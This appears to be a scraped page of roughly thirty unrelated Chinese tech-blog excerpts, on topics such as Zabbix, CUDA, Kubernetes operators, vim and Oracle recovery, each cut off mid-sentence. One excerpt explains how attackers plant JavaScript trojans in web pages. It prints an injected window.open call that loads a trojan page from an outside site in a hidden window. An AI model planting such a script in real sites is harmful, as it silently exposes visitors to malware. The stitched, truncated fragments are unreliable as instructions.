编者按： 最近公司部分业务迁移机房，为了更方便的监控管理主机资源，决定上线zabbix监控平台。运维人员使用2.4版本的进行部署，个人在业余时间尝鲜，使用zabbix3.0进行部署，整理文档如下，仅供参考！一、系统环境准备： centos6.8最小化安装环境 1.防火墙 1 关闭selinux： 2 查看SELinux状态： 3 1、/usr/sbin/sest
随机生成按照各个路线行驶的车辆。 信号灯忽略黄灯，只考虑红灯和绿灯。 应考虑左转车辆控制信号灯，右转车辆不受信号灯控制。 具体信号灯控制逻辑与现实生活中普通交通灯控制逻辑相同，不考虑特殊情况下的控制逻辑。 &n
一|前言因为要把代码从一台机器移植到另一台机器上，且另一台机器上的GPU的型号GT730与之前的版本GTX 1050Ti的版本不一样，所以很多库都要重新安装并配置，并不能像单纯的opencv代码测试一样，只要把相应的.dll库和.exe文件拷贝到另一台电脑上即可。而现在配置了新的GPU硬件，所以软件也要跟着配对起来。所以，在之前经验的基础上，断然装了同样的vs的版本，cuda的版本和opencv的
相关概念懒的排版了，直接上图 相关文件关系再来一发 杂项，电池温度检测原理图 发 充电流程图样图森破 核心函数特写 1. /* 概念: 2. ZCV：开路电压 3. OCV: 开路电压 4. VC：闭路电压 5. CAR：库伦计 6. DOD: 放电深度，100-DOD 即电容容量 7. Cmax/Qmax: 电池容量
MATLAB2020a+Robotics Toolbox v10.4，工具箱版本不同命令有差异。 本文持续更新。 参考：Robotics Toolbox官方文档 文章目录1. 位姿描述1.1 二维空间位姿1.2 三维空间位姿2. 运动学2.1 建立机器人模型2.2 运动学2.3 雅克比矩阵3. 机器人轨迹规划3.1 关节空间3.2 笛卡尔空间4. 动力学4.1 逆动力学4.2 动力学方程4.3 正
文章目录1、KubeBuilder使用1.1 下载1.2 使用2、controller-runtime 参考资料：https://book.kubebuilder.io/ k8s编程operator系列：k8s编程operator——(1) client-go基础部分k8s编程operator——(2) client-go中的informerk8s编程operator——(3) 自定义资源CRD
该文档讲述了如何创建一个集群的tensorflow服务器，以及如何分配在集群计算图。我们假设你熟悉写作tensorflow程序的基本概念。Hello distributed TensorFlow!演示一个简单的TensorFlow集群，执行以下命令：:# Start a TensorFlow server as a single-process "cluster". $ python >&g
1. 查看权限 主要使用ls命令，即list查看文件的详细信息。具体ls命令的详细使用方法可以man到，我们经常用到的就是：ls -al 查看当前目录下所有文件的详细信息；（-a表示所有文件，-l表示详细信息）那么输出结果是什么呢？如下：drwxr--r-- 3 root root 4096 Jun 25 08:35 .ssh上面这条
hadoop是一个开源项目，所以很多公司在这个基础进行商业化，Cloudera对hadoop做了相应的改变。Cloudera公司的发行版，我们将该版本称为CDH(Cloudera Distribution Hadoop)。1. Hadoop入门知识概念：Apache Hadoop是一个开源的、可靠的、可扩展的分布式计算框架可扩展性：大量的普通计算机组成可靠性：不依赖超级计算机的硬件提供可靠性，靠普
Shiro 注解授权简介授权即访问控制，它将判断用户在应用程序中对资源是否拥有相应的访问权限。 如判断一个用户有查看页面的权限，编辑数据的权限，拥有某一按钮的权限等等，当前我们主要分析shiro注解授权底层如何实现。Shiro 注解授权源码概况首先在spring配置文件中 我们得开启shiro的注解，需要做以下配置!-- 基于spring 要求为类创建代理对象方式 强制要求使用cglib --&g
JavaScript 简单介绍JavaScript1 JavaScript介绍2 JavaScript 和 html 代码的结合方式2.1 第一种方式2.2 第二种方式3 变量4 关系(比较)运算5 逻辑运算6 (*)数组7 (*)函数7.1 定义7.1.1 第一种（使用 function 关键字）7.1.2 第二种7.1.3 js不允许重载7.2 arguments 隐形参数（只在 funct
编辑器之神——vim编辑器一、vi介绍Vi编辑器是所有Unix及Linux系统下标准的编辑器，类似于windows系统下的notepad（记事本）编辑器，由于在Unix及Linux系统的任何版本，Vi编辑器是完全相同的，因此可以在其他任何介绍vi的地方都能进一步了解它，Vi也是Linux中最基本的文本编辑器，学会它后，我们将在Linux的世界里畅行无阻，尤其是在终端中。关于vim：vi和vim都是
到目前为止，我已经写了两篇博客谈我对下周RSA安全大会的期望。第一篇博客是关于端点安全的前景，第二篇则是关注网络安全。我现在也正在进行一个关于安全分析和操作的大型研究项目，我相信很多独立技术将被集成到一个全面的架构中，ESG称这个架构是SOAPA（即安全操作和分析平台架构）。考虑到SOAPA，下面是我期待在RSA大会上看到的：1、网络安全数据无处不在。网络安全分析和操作过去主要是基于几个主要数据源
Windows 7系统相较于windows系统来说，界面更炫，设计更人性化，运行更稳定。下面介绍的是让windows 7系统共享上网的方法。笔记本变成路由器 手机也蹭网将笔记本变成无线路由器，让手机、平板、或者别的笔记本能共享上网，需要通过Connectify这款免费软件来实现，软件目前只支持Windows 7系统。软件安装完毕之后，在进行简单的设置后，就能共享无线网络了。需要注意的是，Mode选
墨墨导读：在 DBA 的日常工作中不可避免存在着数据库的损坏，本文将主要介绍 Oracle 数据库遇到不同损坏级别下的应该采用的恢复方法，供读者在遇到此类情景时，能的找到适合自己的恢复方法，提高工作效率。数据块损坏的恢复当数据文件中仅有少量的数据块发生了介质损坏时，我们可以利用RMAN对其进行数据块一级的恢复。数据块级的局部恢复可以大大缩短恢复时间，甚至缩短到其他恢复方式的千分之几。此外，在数据块
AutoLine开源平台一、特点； 支持所有Robot Framework用法
浏览器的发展历程的三大路线，第一是应用程序web化，第二是web应用移动化，第三是web操作系统化。是不是有点不直白。应用程序web化就是随着现在技术的发展，现在越来越多的应用转向了浏览器与服务器，就是B/S架构；web应用移动化，就是在移动设备应用，什么是移动设备呢。“移动设备：也被称为行动装置（英语：Mobile device）、流动装置、手持装置（handheld device）等，是一种口
监听器设计模式 在Servlet规范中存在三大组件，Servlet接口，Listener接口，Filter接口。我们在这里要学习监听器接口Listener。监听器是一种设计模式，是观察者设计模式的一种实现。所以我们需要先学习观察者设计模式，再学习监听器设计模式。可以重复利用的解决方案。由GoF(Gang
第二章 线程 2.1. 多线程-threading 2.2. threading注意点 2.3. 多线程-共享全局变量 2.4. 进程、线程对比 2.5. 同步 2.6. 互斥锁 2.7. 多线程-非共享数据 2.8. 死锁 2.9. 同步应用 2.10. 生产者与消费者模式 2.11. ThreadLocal 2.12. 异步 2.1. 多线程-threading python的thread模块
虚拟现实（VR）在不同的领域目前发展的可谓是如火如荼，涵盖人机、教育、医疗、视频等各行各业，它是利用电脑模拟产生一个三维空间的虚拟世界，提供使用者关于视觉、听觉、触觉等感官的模拟，让使用者如同身历其境一般，可以及时、没有限制地观察三度空间内的事物。其应用领域可以大体分为展示类、教育类等。
基于javaweb的学校在线报考系统(java+jsp+javascript+servlet+mysql)运行环境Java≥8、MySQL≥5.7、Tomcat≥8开发工具eclipse/idea/myeclipse/sts等均可配置运行适用课程设计，大作业，毕业设计，项目练习，学习演示等功能说明基于javaweb+mysql的学校在线报考系统(java+JSP+JavaScript+servle
**乐观锁** 就是说特别乐观，比如说每次去吃饭的时候，都认为窗口没有人，只有到了吃饭的窗口才看有没有人，如果有人则去别的地方吃饭。就像系统认为数据的更新在大多数情况下是不会产生冲突的， 只在数据库更新操作的提交的时候才对数据作冲突检测。如果检测的结果出现了与预期数据不一致的情况，则返回失败的信息。乐观锁在大多数是基于数据版本（version）的记录机制实现的。为了更好的理解数据库乐观锁在实际项目
说到协程，我们先了解什么是异步，异步简单说来就是，我要发起一个调用，但是这个被调用方（可能是其它线程，也可能是IO）出结果需要一段时间，我不想让这个调用阻塞住调用方的整个线程，因此传给被调用方一个回调函数，被调用方运行完成后回调这个回调函数就能通知调用方继续往下执行。举个例子: 下面的代码，主线程一直循环，每循环一次sleep 1毫秒，计数加一，每10000次打印一次。 private stati
一、常见JS挂马方法现在最多见的JS挂马方法有两种，一种是直接将JavaScript脚本代码写在网页中，当访问者在浏览网页时，恶意的挂马脚本就会通过用户的浏览器悄悄地打开网马窗口，隐藏地运行。这种方法使用的关键代码如下：window.open("http://www.mahaixiang.cn/木马.html","","toolbar=no,location=no,directories=no,s
数组原型方法1.动态获取数组长度arr.lengtharr.length示例：let sequence = [1, 1, 2, 3, 5, 8, 13]; for (let i = 0; i < sequence.length; i++) { console.log(sequence[i]); }最常用于for循环数组遍历2.数组转字符串arr.join() arr.toString()
一、在内核源码drivers/usb/serial/option.c文件中添加相关模块的pid和vid，有些模块还需要厂家提供的系统上的驱动。下面列举我们公司常用的模块以及pid和vid：{ USB_DEVICE(0x16d5, 0x6502) }, //DTM518 { USB_DEVICE(0x19D2, 0xFFED) }, //MC2716 { USB_DEVICE(0x1AB7, 0x
本篇概要：1. 输入输出重定向;2. 文件描述符与错误重定向；3. 在脚本中重定向输入输出；4. 管道。 1. 输入输出重定向;标准输入：键盘标准输出：终端显示器在使用 Shell 命令时，通常都是通过键盘对命令输入数据，而通过显示器可以查看命令输出的结果。但是在很多时候我们需要使用文件来作为命令输入的数据，同时也需要将命令的输出保存在文件中。这时候就需要用到输入输出的重定向。也就是说将标准的输
文章目录前言一、组件间关系1.index页面2.custom-ul3.custom-ul二、关联一类组件1.index页面2.custom-form3.custom-input4.custom-form 前言relations 定义段包含目标组件路径及其对应选项，可包含的选项见下表。选项类型是否必填描述typeString是目标组件的相对关系，可选的值为 parent 、 child 、 anc
STM32F4 的 SDIO 控制器包含 2 个部分： SDIO 适配器模块和 APB2 总线接口， 复位后默认情况下 SDIO_D0 用于数据传输。初始化后主机可以改变数据总线的宽度 SDIO_D0、 SDIO_D[3:0]或 SDIO_D[7:0]可以用于数据传输。 MMC 版本 V3.31 和之前版本的协议只支持 1 位数据线，所以只能用 SDIO_D0（为了通用性考虑，在程序里面我们只要检
之前给大家介绍了TOF 与双目结构光的对比，那在深度相机的应用方案种还有结构光的摄像方案。今天小编就跟大家来聊一聊结构光，顺便也捋一捋这三者的对比。结构光结构光技术就是使用提前设计好的具有特殊结构的图案（比如离散光斑、条纹光、编码结构光等），然后将图案投影到三维空间物体表面上，使用另外一个相机观察在三维物理表面成像的畸变情况。如果结构光图案投影在该物体表面是一个平面，那么观察到的成像中结构光的图案
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